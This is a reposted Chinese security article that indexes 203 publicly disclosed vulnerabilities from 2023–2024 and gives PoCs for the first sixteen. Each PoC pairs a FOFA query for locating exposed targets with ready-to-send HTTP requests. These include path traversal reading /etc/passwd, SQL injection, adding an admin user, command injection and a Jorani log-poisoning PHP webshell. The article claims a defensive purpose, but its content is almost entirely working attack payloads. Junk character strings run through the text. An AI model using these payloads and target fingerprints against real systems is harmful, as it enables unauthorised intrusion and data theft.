互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

& O, p- {) H- z$ ?  m! o发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
1 I0 q# l, z* D
! g3 C* l% f$ n1 }* ^% }  a漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

  h. i0 l# r4 Z; K安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

' V7 ~8 z, l2 G- p# w
声明
( w' p, g0 }2 [' z( X( n
8 B( `% J% ]' {! @) Q" b' X! E为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
! U# P: {5 t+ m2 Z, K3 H* K
+ G# j5 G0 t5 p3 w有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
: e, M+ {9 |; D( k+ [
8 R& P7 k% {5 k* h5 M+ ^

4 X" d9 W8 i: }目录

$ ]$ o# I; O: S. ?' c01
0 W5 S, D6 h0 k3 z' |& S/ @
2 u7 P2 v1 o. l1. StarRocks MPP数据库未授权访问
: T/ O: X6 @' R5 _: f2. Casdoor系统static任意文件读取
8 J$ s* G0 L  ?, k6 n( L3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
0 u  ]. Y& h0 P$ C5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
: s/ |! j& Y) {; O1 d+ w7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
- @* J: s6 S0 S( ~11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
8 e* m) }: C/ s' |12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
$ x- o  p* i  n15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
, y  n$ h$ G8 l# {+ R" i4 q19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
' ]  ?& ]$ A$ v# H; i- f& @24. 用友NC 6.5 accept.jsp任意文件上传
& j9 b7 N/ O/ \7 b  f25. 用友NC registerServlet JNDI 远程代码执行
1 y" R+ @; n# U- l# \6 }1 c26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
4 x, ^9 c' s2 B29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
2 v5 d3 {( W4 b, b+ g36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
; ]- Y) O: ?" M1 y' |( }% _40. 用友U8-Cloud XChangeServlet XXE
; e" E5 _+ W. n5 O2 K0 ]41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
% q; v  H* `" P2 v2 ?42. 用友GRP-U8 SmartUpload01 文件上传
% z7 f- V6 t& z6 _. V. u4 ]43. 用友GRP-U8 userInfoWeb SQL注入致RCE
. [  H* {1 [4 D  l6 T' c44. 用友GRP-U8 bx_dj_check.jsp SQL注入
5 a3 g5 i, H- b! P! j45. 用友GRP-U8 ufgovbank XXE
, ~0 ]8 t& Z1 q* q46. 用友GRP-U8 sqcxIndex.jsp SQL注入
) W# S* ^; f' R! L" s) s8 t- r$ K47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
% I# H1 R. l/ S8 Q$ k  Y6 L50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
' f1 B8 K3 F! q% E/ m6 L52. 泛微E-Office json_common.php sql注入
& F; S+ H  j& _53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
( h5 T" F# H3 j8 H9 L0 s+ N% N! F' m0 A' ]55. 畅捷通T+ getdecallusers信息泄露
2 {. I: N7 f2 _# X7 }9 f- Y56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
- M3 P: h6 P" l2 W8 G; Y58. 畅捷通T+ KeyInfoList.aspx sql注入
) D, {( j) Z' ^1 E( G& s1 L  U59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
4 P* H0 {5 f, P0 |% f63. IP-guard WebServer任意文件读取
: v1 [1 v) Q$ U0 P& k6 e64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
' p" ~8 z& I" ?$ ]% r67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
8 M9 F/ y% b9 z  c& Q69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
! m! y$ I2 N' P5 [" C, T71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
2 ]7 W4 c4 P0 i* G/ @, S: \( o73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
# m' {( h5 I$ m+ n& X; {75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
# \! Y* c" V' c$ X& J' ^76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
3 ]+ U3 i0 @& \0 W5 N0 x8 g79. BYTEVALUE 百为流控路由器远程命令执行
: a+ n' b: Z5 ?9 _80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
0 ~6 k. S4 G9 L& A2 {' o81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
0 t- @0 m9 M! I5 B82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
, E% p8 Z7 |0 y/ N83. JeecgBoot testConnection 远程命令执行
% L( B# a  U2 u/ F9 |9 h0 S84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
! i5 U" U& p( c# |" |" \85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
; m- T' f6 T( W# f3 S5 k87. 安恒明御安全网关aaa_local_web_preview文件上传
# t- `9 t1 i6 R) r  L88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
: |: {% E4 M& U90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
! l. p$ E& z! S94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
9 e5 J6 r: y7 V- Q95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
3 p/ R* o( N5 Z101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
0 p' N1 q/ T  \) ]$ w103. Ivanti Pulse Connect Secure VPN XXE
* e; v$ _) k; `* M  [+ k$ h  W104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
; `/ t, g1 T  r105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
* z' Z' y& H- n" R! E2 f% h6 P107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
4 u' q9 x) t9 H% o109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
9 K. Y8 i7 `* P, o( K112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
6 E8 \* i5 _/ |; a! X! s116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
% I7 s7 s  n  F% [: ^" w118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
, i9 M0 H/ S4 I120. 北京百绰智能S40管理平台导入web.php任意文件上传
$ X7 l$ P$ Q; _+ k, \2 v7 I121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
( s) k, w( G* R# M& n3 _* s+ p123. Atlassian Confluence 模板注入代码执行
+ p7 x( ]+ \) ~124. 湖南建研工程质量检测系统任意文件上传
+ x- \6 C7 ~) {, M125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
- B. v8 M8 a; Y9 [, C127. 广联达Linkworks DataExchange.ashx XXE
8 F$ A' C( _  n) a; }' s0 R% V' h& d128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
7 \3 i: b6 H# e131. Mini-Tmall <=20231017 SQL注入
5 N! i- O. m  ~$ ?% u132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
3 K+ ]& I0 e9 s2 @% b3 n133. H5 云商城 file.php 文件上传
: M. B1 N: H; I: ~9 x6 e- V9 R134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
+ C$ I) s$ K3 o9 l7 F8 C138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
* |6 n" g" `0 k$ Q) b7 \5 A5 P: |139. 福建科立讯通信指挥调度平台editemedia.php sql注入
) N" w/ @% I  B  N5 u' r6 B, t3 k140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
8 Q) ^" X: X" K% Y0 `142. CMSV6车辆监控平台系统中存在弱密码
& [5 m. O/ d! ^$ x5 F" R6 |143. Netis WF2780 v2.1.40144 远程命令执行
& r7 k# \8 {( Y# G: Y4 F144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
4 U% d- @; ~2 H  N6 i147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
9 M, Q# \9 E5 T- N) L5 |; K# V148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
" y0 w# S( y5 P  p150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
" c1 E. S4 s! d4 e7 Z153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
1 S: p# r, G: A8 G0 |! q157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
  ^& v. Z( O& o' u/ |/ o160. Sonatype Nexus Repository 3目录遍历与文件读取
  m# t& g- S9 x161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
2 p# {4 m# W; ]* b; ^162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
: o- p8 I" d/ {' _# s% Z163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
& \9 t) a# X6 ^' f  H165. OrangeHRM 3.3.3 SQL 注入
- _3 p2 r3 G& l166. 中成科信票务管理平台SeatMapHandler SQL注入
0 z$ J. W$ i4 V. i167. 精益价值管理系统 DownLoad.aspx任意文件读取
5 ]  _0 S  `4 `* y% `168. 宏景EHR OutputCode 任意文件读取
! S- y" e( @$ E/ R) B169. 宏景EHR downlawbase SQL注入
( u9 I( M& M: o. i& u$ I170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
7 A6 A6 Y3 m; b" R173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 p5 V. b  ^! g; r0 K: Y175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
. U# L3 V7 h7 u) ^+ D  ?, e2 O176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
) Y# `" B) \4 U" \/ j: `4 `179. 建文工程管理系统存在任意文件读取
6 Z: |5 L  e8 ^8 X  w; y2 O8 p180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
8 E/ x; p7 o4 ~182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
4 [4 E7 F, b+ F) D184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
3 i/ S5 i2 @. ]$ Q  x' J185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
) h# k, O/ J: F, Z189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
) \" i+ O  N" A7 |192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
2 q2 ^% x( N* G( `# Q1 [8 h% Z193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
6 L/ f+ V. v' d2 q: q197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
* s& U! \6 C8 L5 R199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
) T- F3 O, r. ^6 F201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
* }5 |* n5 E7 |' a$ M6 t6 O( H203. 红海云EHR PtFjk 文件上传

POC列表

02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
8 l# Z8 c7 }0 `. `+ aGET /mem_tracker HTTP/1.1
Host: URL
' k" n; o" v7 Y/ J
- I( ]) k- N+ b4 s  t% q3 W- W) c
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
! ?6 ~5 M7 a; |0 Z+ QGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
; A- ~5 Z8 W' c" iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
& b( D0 S9 F8 e) J4 |; AAccept-Language: en
! t/ g6 A: N! R  [+ _: c) UAccept-Encoding: gzip
' g# s1 @( T6 q- X

; e$ I4 e5 J! ]; W3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
/ u/ d# f' b( f' g- ], ^& fHost: xx.xx.xx.xx


2 r+ v$ t5 r  ~9 O% U& f4. EasyCVR视频管理平台存在任意用户添加
9 J. f$ X( R4 P+ e0 dFOFA ：title="EasyCVR"

, s- J1 g% K! [" ~+ \7 Fpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
! |! @( e/ p6 }& p" QHost: your-ip
, L% V2 G3 K) V0 M) K$ d) q$ [* CContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

* U( R, y8 e* p' i2 v
5. NUUO NVR 视频存储管理设备远程命令执行
+ @' @. k. D; [FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

3 C: r! s( v: b. S/ X+ k% F0 h6 j
2 @* g* B4 o9 }- w) ]( h6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
- D# [& [$ s& {. }$ q: XGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
' l0 C3 m9 L. M  {3 H+ {Host:


  F3 i: J/ }" M2 f, ?5 A$ a4 W7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
- c4 f9 B# l3 @& R& q! ?$ FHost:
- e( O& u/ U( U5 [; P% C6 T

2 e9 z$ [# |) ~8. 斐讯 Phicomm 路由器RCE
0 b) A( Y# X& j' d% q6 `FOFA：icon_hash="-1344736688"
, u( A6 I# J& T- |' E/ W% r默认账号admin登录后台后，执行操作
) p" I" o5 g' \0 K( ~) z- w, B& [POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
# G9 z* V: W# H) C- q9 Z  RContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

& i# g- d5 n! t9 K! n7 h8 k%s
* A$ F! m) _8 k: h------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

' h  G3 K7 n, l12:00; id;
! k. M0 R1 e, ^! d3 `------WebKitFormBoundaryxbgjoytz
2 A2 ~& Q8 Z# A& d% J+ k, l% ~Content-Disposition: form-data; name="wifiRebootendrange"

%s:
  h4 ^1 ^# ~) {/ p, N# \------WebKitFormBoundaryxbgjoytz
! R9 M: h8 m, y0 X9 }Content-Disposition: form-data; name="cururl2"
5 k  I+ L! w0 ]( F8 _; |- p0 Q* o
# B" M  j$ d3 ]/ j
8 t1 V( k1 F% {0 _0 d' L------WebKitFormBoundaryxbgjoytz--
. o7 z( n7 U; f( M' T
* y! R2 G& J8 Y
* n$ O8 {6 z6 X4 f7 p1 v9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
& B$ F2 S* }; w. u+ c
+ V* ^& E/ j4 f3 H
4 m" ~( S" ^4 C7 {, b2 w& \- Vpayload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
' z8 k- g, `& _3 k) {0 g. pFOFA：icon_hash="953405444"
5 C3 d: h7 {$ e& W+ U' r
7 K( o: z0 v- _4 r+ c( H文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
5 a, h) B5 [' e! {Host: x.x.x.x:xx
3 [  ~: g0 X) q, M5 r% q/ RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
  `1 F6 I( J& V6 |3 b- b& PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
' R9 Q7 v0 H5 B1 U/ a  o( kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 ^8 y/ e3 A! G0 Y' P  N/ o+ C- OConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
' Z: ~; {( A9 Q
jmnqjfdsupxgfidopeixbgsxbf
  i. H7 l6 [& z( K5 A# V/ x; q------WebKitFormBoundaryxdgaqmqu--

6 \6 l. ~" r5 v3 O+ |
$ y2 G, K3 X7 v, ~11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
8 Q- P# G1 l( j( C1 w2 H% UGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
6 D, [: e. G0 B% MPragma: no-cache
; Z( @& f: C' f) GCache-Control: no-cache
) M5 d* \. p; n0 BUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) V/ F: b- s2 E; b- `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

( T2 ^; ^: j; j% n5 W
12. Jorani < 1.0.2 远程命令执行
5 F2 p( k' U8 }2 y- l# W; Y: xFOFA：title="Jorani"
" F* a( r& x( Z第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
5 Q# m3 s. _! t$ @/ P! gUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
2 N: N4 o3 L! a& b9 t- ?Connection: close
# U- l. L, I0 m% p3 EAccept-Encoding: gzip
" Z. T* n3 w* P' X

4 t0 _3 g& c" u8 L响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
4 [; ^( J0 X( L4 _3 I0 r! mExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
& O6 w* L  A! q" j1 HPragma: no-cache
) a- d2 s, N# uServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
& |) k* X3 n$ L/ v; o! ISet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
' M# o8 o$ Q3 `Vary: Accept-Encoding
/ d; q8 l+ Z! }% M, D+ l8 T& h4 N; |

0 B. ?% V6 z1 ]$ a" u2 y# h* Y" RPOST请求，执行函数并进行base64编码
* {5 K' g$ C: {9 X( k3 l' y+ o$ OPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
) x% M' f9 L; O' S$ S& {1 |2 vCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


; M; b/ k: P* x: O
' A9 F. i; ~# X  l1 R2 M向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
. Q5 X& b( L6 e8 m! GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
/ G4 w6 J) X# ^* X3 x9 |Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
3 |7 `6 i. V" U& cAccept-Encoding: gzip
$ B8 S2 c' x; j* B9 N: a
8 Q0 e* h/ w, K# A1 `& x1 w* }; m
13. 红帆iOffice ioFileDown任意文件读取
" H' J0 ?5 _. B% NFOFA：app="红帆-ioffice"
9 n5 }: ^) [! hGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
' ?9 z+ k7 g- UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
8 Z# j: u; g' F' z, B( p: OAccept: */*
Accept-Encoding: gzip
' {4 L; ~  \! s& D

4 e" _( O% b& O, v14. 华夏ERP（jshERP）敏感信息泄露
$ {2 H/ y3 i* `; `' J. j% CFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
( O+ C9 I' J2 u% b$ z1 GConnection: close
( ~# W) o' L( `/ F7 vAccept: */*
Accept-Language: en
Accept-Encoding: gzip


  w" z: }# n9 D15. 华夏ERP getAllList信息泄露
CVE-2024-0490
9 F& v% X% Z8 d- t) q9 qFOFA：body="jshERP-boot"
泄露内容包括用户名密码
* Q) t$ R  }1 D9 d1 ~. k# BGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
& K* P  P! x* v7 r) }Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
) w4 _: Y9 e, _) S# {9 x( U0 G, pAccept-Language: en
9 B) w! y: U/ Usec-ch-ua-platform: Windows
0 X) A7 g+ H5 ^0 o6 I7 MAccept-Encoding: gzip

6 Y: M/ k) x$ f4 @
16.  红帆HFOffice医微云SQL注入
% ]+ o3 _/ a2 ^; Y+ Q) ZFOFA：title="HFOffice"
3 y. C2 o; ?/ a. C$ kpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
2 Q9 P! @$ q+ \( b4 z& I* rUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
# q: k5 a5 B; O) uConnection: close
Accept: */*
